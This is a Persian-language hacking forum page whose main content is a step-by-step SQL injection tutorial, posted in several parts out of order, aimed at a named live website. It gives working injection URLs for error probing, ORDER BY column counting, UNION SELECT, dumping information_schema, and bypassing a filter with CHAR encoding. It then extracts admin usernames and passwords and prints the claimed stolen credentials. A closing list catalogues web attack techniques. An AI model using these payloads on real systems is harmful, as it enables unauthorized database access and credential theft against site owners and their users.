مقاله ای پیرامون حملات حر فه ای sql
متنی بر blind sql injection
عنوان | پاسخ | بازدید | توسط |
دانلود برنامه WINE | 0 | 163 | ka30r |
نصب مایکروسافت آفیس 2007 روی لینوکس | 0 | 160 | ka30r |
کار با هویج | 1 | 270 | sattar16 |
مهندسی اجتماعی ( به پیشنهاد یک دوست ! ) | 0 | 200 | hacker |
یک سرور چگونه هک می شود ( فقط هشدار !!! ) | 0 | 192 | hacker |
هک کردن ID به روش بسیار ساده | 1 | 279 | hacker |
در یاهو مسنجر با چه کسانی چت کرده ایم ؟ | 1 | 153 | alikasir |
وبکم رایانهتان را به دوربین مدار بسته تبدیل کنید | 0 | 160 | hacker |
دانلود نرم افزار اسکن تارگت با باگ SQL | 0 | 1573 | ka30r |
پایتون چیست؟ و چرا باید پایتون نصب کنیم | 0 | 122 | hacker |
دانلود نرم افزار android Puffin که یک مرورگر پرسرعت اینترنت برای گوشی های آندروید می باشد و جایگزین مناسبی برای نرم افزار یوسی بروزر اندروید شده است. نرم افزار پافین برنامه ای شبیه uc browser است که برای مشاهده صفحات اینترنت بهترین نرم افزار مرورگر وب گوشی لقب گرفته است. با فشرده سازی اطلاعات دریافتی و ارسالی سرعت اینترنت روی گوشی موبایلتان افزایش می یابد و صفحات وب را می توانید با سرعت بالاتری ببینید. مرورگر اینترنت پافین Puffin فونت های فارسی سایت های ایرانی را صحیح نشان می دهد؛ بر خلاف خیلی از وب بروزر ها که مشکل به هم ریختگی فونت های فارسی وبسایت را دارند. کار نرم افزار اینترنت موبایل پافین بسیار راحت است و مشاهده سایت های اینترنتی روی گوشی به بهترین شکل صورت می گیرد. از دانلود نرم افزار پافین لذت خواهید برد.
مروز یه آموزش خیلی راحت براتون دارم....
اگه یادتون بیاد تا اونجا پیشرفتیم که تونستیم لیست column های موجود در table آدمین رو کش بریم
که اینا بودن "id,loginname,namelc,email,created,modified,modifi edby,password,passwordchanged,superuser,disabled"
خوب کار ما از این راحت تر نمیشد!!!
الان تنها کاری که لازمه انجام بدیم اینه که اطلاعاتی که از توی این لیست ها لازم داریم رو درخواست کنیم
برای این کار از دستوری به شکل زیر استفاده میکنیم.
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(loginname,char(58),password),3,4,5,6,7,8,9,10,11,12,13 from phplist_admin--
اگر دقیق به این دستور نگاه کنید میبینید که تفاوت چندانی با دستورات قبلی ما نداره و تنها کاری که من انجام دادم این بود که به دیتابیس سایت گفتم اطلاعات موجود در Loginname و password رو که توی تیبل phplist_admin هستش به من نشون بده. با دستور group_concat هم که آشنا هستید.....
تنها نکته ای که میشه اینجا اشاره کرد (char (58 هستش که دلم میخواد خودتون برین بفهمید چیه .
هرکی نفهمید پ.خ کنه تا کامل براش توضیح بدم.
دوستان ما با استفاده از باگ sql تونستیم به دیتابیس سایت نفوذ کنیم و یوزر و پسورد رو بکشیم بیرون :
"admin:coshuk,listadminassword,listadmin2assword,listadmin3assword"
خوب بریم به ادامه ی آموزش هامون برسیم تا اونجا پیش رفتیم که با دستور table_name اسم تمام table ها رو کشیدیم بیرون به این صورت :
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables--
حالا باید table مورد نظرمون رو انتخاب کنید.
من لیست table های تارگتمون رو کپی میکنم اینجا تا روش بحث کنیم.
[CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVI LEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,category,country_master,eventlog,insurance_setup, link_master,phplist_admin,phplist_admin_attribute, phpli
خوب حالا ما از کجا بدونیم اطلاعاتی که ما میخوایم تو کدوم table موجوده؟؟
ما دنبال user و pass میگردیم پس به احتمال زیاد این اطلاعات تو یه table مربوط به ادمین وجود داره ....
اون table هایی که رنگشون رو بنفش کردم table های مربوط به information_schema هستش و در تمام ورژن های بالا ی 5 وجود داره و معمولا توی این table ها چیزه به درد بخوری برای ما وجود نداره
بقیه ی table ها رو ما به ترتیب اولویت ( که از رو اسم و تجربه ی هکر بدست مییاد ) باید بگردیم...
اولین table ای که من نگاه میکنم و به احتمال زیاد اطلاعاتی که میخوام اونجاست phplist_admin تیبل هستش اگه اینجا نباشه میرم دنبال بقیه ی تیبل ها
بریم ببینیم چطوری و با چه دستوری باید اطلاعات تیبل phplist_admin رو بیرون بکشیم!!!
برای اینکه من اطلاعات رو از table مورد نظر خودم بکشم بیرون اولین کاری که انجام میدم اینه که column های موجود در تیبل مورد نظرم رو از information_schema درخواست میکنم
به این صورت :
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=phplist_admin--
تو دستور بالا من با دستور column_name از پایگاه information_schema در قسمت columns خواستیم که تمام اطلاعات مربوط به تیبل phplist_admin رو به ما بده
ولی این دستور کار نکرد !!!!!
چرا کار نکرد ؟؟؟؟؟؟؟
خوب دلیلش اینه که بعضی وقت ها برای اینکه هکر ها کارشون سخت تر شه روی اطلاعات مهم یه سری کار های امنیتی انجام میدن
مثلا تو این مورد اطلاعات اسم column های موجود رو ما باید به صورت چار (CHAR) درخواست کنیم
char کلمات رو به کارکتر های موجود روی کیبورد تبدیل میکنه در اصل char همون مخفف charecter هستش......
برای اینکه بتونید از char راحت تر استفاده کنید پیشنهاد میکنم از افزونه ی HACKER BAR موجود در fire fox استفاده کنید این افزونه به شما کمک می کنه به راحتی هر کلمه ای رو به چار تبدیل کنید
خوب حالا من میام phplist_admin رو به چار تبدیل میکنم که میشه :
حالا اینو به جای اسم table خودم میزارم و دوباره دستور رو اجرا میکنم.....
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.columns where table_name=CHAR(112, 104, 112, 108, 105, 115, 116, 95, 97, 100, 109, 105, 110)--
خوب همونطور که میبینید ما تونستیم column های موجود در table ادمین رو ببینیم و همونطور که میبینید اطلاعات مورد نیاز ما هم همینجاست!!!!!!!!!!!!!!!!
توی آموزش بعدی نحوه ی بدست آوردن این اطلاعات رو بهتون نشون میدم
با استقبالتون خستگی کار یادم میره !!!!
امیدوارم مفید واقع شه
خوب دوستان عزیز
در ادامه ی این آموزش ها میرسیم به دستور table_name که به ما لیست table های موجود در دیتابیس رو می ده
خوب برای این کار ما میتونیم این دستور رو به صورت (group_concat(table_name استفاده کنیم
همونطور که قبلا هم توضیح دادم دستور group_concat اطلاعات درخواستی ما رو از تمام database ها میده پس ما در این دستور تمام تیبل ها رو از تمام دیتابیس های موجود در سایت درخواست کردیم.
خوب دوستان اگه یادتون باشه تارگتی که ما انتخاب کردیم دارای دیتابیس ورژن بالای 5 بود که این خبر خوبی برای ما بود
به این دلیل که تمام اطلاعات مورد نیاز ما در یک database جدا به نام information_schema ذخیره شده
پس تنها کاری که نیازه ما انجام بدیم اینه که با نوشتن یک دستور بر روی table آسیب پذیر این اطلاعات رو از information_schema بخوایم
خوب بریم ببینیم روی تارگتمون میتونیم پیاده کنیم یا نه!!!!
http://www.coshuk.com/html/images.php?id=-27 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables--
خوب تو دستور بالا من اول مثل تمامی مثال های قبل یه منفی پشت عدد ID گذاشتم تا تعداد table های ما از تعداد id ما کمتر نشه (یا از بازه خارج شه )
بعد اومدم تو table آسیب پذیر از دستور group_concat استفاده کردم که اطلاعات مورد نیازم رو از تمامی دیتابیس های موجود در سایت به طور کامل بهم بده
بعد توی group_concat گفتم که من نام تمامی تیبل هارو میخوام که اونم با دستور table_name درخواست میشه ....
و در آخر هم نشانی یا همون آدرس جایی رو که این اطلاعات ذحیره شده رو دادم به این صورت:
همون طور که حتم دارم همتون میدونید from یعنی از !!!!
information_schema هم که همون پایگاه موجود در دیتابیس هایی با ورژن بالای 5 است که کار مارو خیلی راحت کرده بود !!!!!!!!!!
table . هم که یه دایرکتوری تو information_schema هستش که اطلاعات تیبل ها اونجا میره و .....
پس ما اومدیم گفتیم اسم تیبل ها رو از تمامی دیتابیس های سایت که توی information_schema در قسمت table موجود هست به ما بده به همین راحتی
اینم از table ها برین تمرین کنید
آموزش های بعدی رو هم سعی میکنم هر چه زودتر براتون بنویسم
آموزش سوم در رابطه با پیدا کردن table های آسیب پذیر با دستور union select هستش
برای این کار پس از پیدا کردن تعداد table ها به صورت زیر عمل میکنیم :
www.site.com/html/images.php?id=-27 union select [ table ha be tartib ]
دقت کنید که قبل از شماره ی ایدی از یک منفی استفاده میشه
پس شما اگر فرض کنید که ما 10 table داشته باشیم دستور ما به این صورت خواهد بود :
www.site.com/html/images.php?id=-27 union select 1,2,3,4,5,6,7,8,9,10--
با این دستور اعدادی بر روی صفحه نمایان میشوند که همان شماره ی table ها ی اسیب پذیر هستن
تو پست بعدی یک مثال از این درس براتون میزارم تا کامل متوجه بشید
خوب دوستان ما تو مثال دوم با دستور order by تعداد table ها رو پیدا کردیم که 13 تا بود
حالا می خواهیم ببینیم کدوم یک از این 13 تا table آسیب پذیر هستش
برای این کار من با همون target قبلیمون پیش میرم و به صورت زیر دستور خودم رو وارد می کنم :
http://www.coshuk.com/html/images.php?id=-27 union select 1,2,3,4,5,6,7,8,9,10,11,12,13--
حالا اگه دقت کنید عدد 2 رو روی صفحه میبینید که شماره ی table آسیب پذیر ما هست و ما با استفاده از این table کد های خودمون رو اینجکت میکنیم
هیشه پیروز باشید
صمیم گرفتم رو همون مثال درس 1 دستورات درس دوم رو هم پیش برم که بهتر متوجه بشید
اگر یادتون باشه تو درس 1 تا اونجا پیشرفتیم که ERROR رو تو صفحه مشاهده کردیم به این صورت :
www.coshuk.com/html/images.php?id=27'
حالا میخواهیم با دستور order by x تـعداد table هامون رو مشخص کنیم
پس به این صورت عمل میکنیم :
http://www.coshuk.com/html/images.php?id=27 order by 20--
همونطور که مشاهده کردید error داد پس تعداد table ها کمتر از 20 هست
پس باید عدد رو کمتر کنیم
اگر یکی یکی تعداد اعداد رو کم کنیم تا جایی که دیگه error نده
اولین عددی که error نداد میشه شماره ی table ما
تو مثال ما :
http://www.coshuk.com/html/images.php?id=27 order by 14--
در عدد 14 error میده
ولی تو عدد 13 error نمیده و سایت کامل Load میشه
http://www.coshuk.com/html/images.php?id=27 order by 13--
پس تعداد table های ما 13 تا هست
اینم از مثال درس دوم
موفق باشید
خوب عزیزان
قسمت بعدی کار ما شمردن table های سایت و یافتن تیبل های آسیب پذیر برای نفوذ هستش
برای این کار اولین قدم ما استفاده از دستور order by x هستش که به جای x یک عدد به صورت دلخواه میگذاریم
اگر سایت کامل Load شد یعنی تعداد table ها بیشتر از آن است و اگر سایت ناقص load شد یا اصلا load نشد به این معنا است که تعداد آن ها از آن عدد کمتر است ...
برای مثال :
www.site.com/html/images.php?id=27 order by 20--
اگر سایت کامل load نشه به این معناست که تعداد table ها کمتر از 20 است و ما اعداد را یکی یکی کم میکنیم تا تعداد table ها رو مشخص کنیم
فرض کنید که سایت در 15 به صورت کامل load نشه ولی در 14 به صورت کامل Load شه در این حالت نتیجه میگیریم که تعداد table ها 14 تا هستش ....
خوب دوستان این آموزش هم تموم شد
توی پست بعدی سعی میکنم یک مثال هم براتون پیدا کنم
موفق باشید
خب باگ بعدی که قراره آموزش بدم یک باگ کاربردی تر به نام باگ sql هست که به روش sql injection میتونیم به دیتابیس سایت نفوذ کنیم و یوزر پسورد رو بدست بیاریم
خوب آموزش هام رو با باگ SQL شروع میکنم امیدوارم که مورد پسندشما عزیزان باشه
خوب injection یا تزریق دستورات sql به پایگاه داده ها یا همون database() هستش که موجب دسترسی ما به پایگاه اطلاعاتی یک سایت میشه
قدم اول شناسایی اینه که سایت مورد نظر باگ داره یا نه ،
و هر صفحه ای که به ما اجازه ی input data رو بده
اینا جاهاییه که معمولا ما دنبال این نوع آسیب پذیری میگردیم ،
اما همیشه نیاز به submit page نیست و کارمون با صفحات (asp. php. cgi. jsp.) را میوفته، مثلا :
برای برسی آسیب پذیر بودن سایت راه های زیادی بسته به تارگت وجود داره
استفاده از پارامتر هایی مثل : * و % و - و ' و '' و ; و
مثال هایی برای این :
در بعضی مواقع یک پارامتر جواب نمیده و باید چند تا از پارامتر ها رو با هم بکار برد :
اگر بعد از وارد کردن پارامتر ها با error هایی همانند error های زیر روبرو شدید باید به باگ SQL شک کنید و سعی به نفوذ ( یا پچ) کنید!!
امیدوارم قابل درک بوده باشه تا جایی که تونستم راحت و قابل فهم توضیح دادم
اگه کم و کاستی بود به بزرگی خودتون ببخشید
باید بهتون بگم یه هکر باید پیشه ی خودشو انتخاب کنه و یه راه رو تا آخر بره وقتی که کامل یاد گرفت بره پیشه ی بعدی رو یاد بگیره
یکی از تقسیم بندی های رایج به این صورت هست :
1. هک سایت ها و سرور ها
2. هک کلاینت ها و سیستم های شخصی
در این جا قسمت اول رو ابتدا جمع آوری می کنم :
1. هک سایت ها و سرور ها
خوب من تا اونجا که تونستم سعی کردم یه لیست کاملی از تمامی باگ ها و راه های نفوذ به سایت ها و سرور ها جمع آوری کنم ،
که اینجا خدمت شما عزیزان میزارم تا یه طبقه بندی ای قبل از شروع تو ذهن خودتون داشته باشید ،
ليست تمام تکنيک هاي حمله به سايت ها ( ليست تمامي باگ )
* Arbitary File Deletion
* Code Execution
* Cookie Manipulation ( meta http-equiv & crlf injection )
* CRLF Injection ( HTTP response splitting )
* Cross Frame Scripting ( XFS )
* Cross-Site Scripting ( XSS )
* Directory traversal
* Email Injection
* File inclusion
* Full path disclosure
* LDAP Injection
* PHP code injection
* PHP curl_exec() url is controlled by user
* PHP invalid data type error message
* PHP preg_replace used on user input
* PHP unserialize() used on user input
* Remote XSL inclusion
* Script source code disclosure
* Server-Side Includes (SSI) Injection
* SQL injection
* URL redirection
* XPath Injection vulnerability
* EXIF
* Blind SQL injection (timing)
* Blind SQL/XPath injection (many types)
* 8.3 DOS filename source code disclosure
* Search for Backup files
* Cross Site Scripting in URI
* PHP super-globals-overwrite
* Script errors such as the Microsoft IIS Cookie Variable Information Disclosure
حمله های مشهور به حمله های دیکشنری ای :
* Cross Site Scripting in path
* Cross Site Scripting in Referer
* Directory permissions ( mostly for IIS )
* HTTP Verb Tampering ( HTTP Verb POST & HTTP Verb WVS )
* Possible sensitive files
* Possible sensitive files
* Session fixation ( jsessionid & PHPSESSID session fixation )
* Vulnerabilities ( e.g. Apache Tomcat Directory Traversal, ASP.NET error message etc )
* WebDAV ( very vulnerable component of IIS servers )
حمله های مشهور به افشاء جستجو :
* Application error message
* Check for common files
* Directory Listing
* Email address found
* Local path disclosure
* Possible sensitive files
* Microsoft Office possible sensitive information
* Possible internal IP address disclosure
* Possible server path disclosure ( Unix and Windows )
* Possible username or password disclosure
* Sensitive data not encrypted
* Source code disclosure
* Trojan shell ( r57,c99,crystal shell etc )
* ( IF ANY )Wordpress database credentials disclosure
آپلود فایل :
* Unrestricted File Upload
حمله های رایج :
* Microsoft IIS WebDAV Authentication Bypass
* SQL injection in the authentication header
* Weak Password
* GHDB - Google hacking database ( using dorks to find what google crawlers have found like passwords etc )
حمله های وب و سروری :
* Application Error Message ( testing with empty, NULL, negative, big hex etc )
* Code Execution
* SQL Injection
* XPath Injection
* Blind SQL/XPath injection ( test for numeric,string,number inputs etc )
* Stored Cross-Site Scripting ( XSS )
* Cross-Site Request Forgery ( CSRF )
نکته : البته باید بگم یاد گیری و به حافظه سپردن تمامی این مطالب تقریبا غیر ممکن هست و ما تا اونجا که میشه سعی در آشنایی شما با باگ ها رو داریم ولی قرار نیست تمام اونها رو مو به مو اینجا یاد بدیم
اون وظیفه ی شماست که مطالبی که اینجا آموزش داده میشه رو یاد بگیرید و به دنبال راه های بیشتر بگردید به هر حال یک هکر واقعی خودش باگ پیدا میکنه و میسازه نه اینکه از دسترنج بقیه استفاده کنه ....
خوب امیدوارم که این اطلاعات براتون مفید باشه ...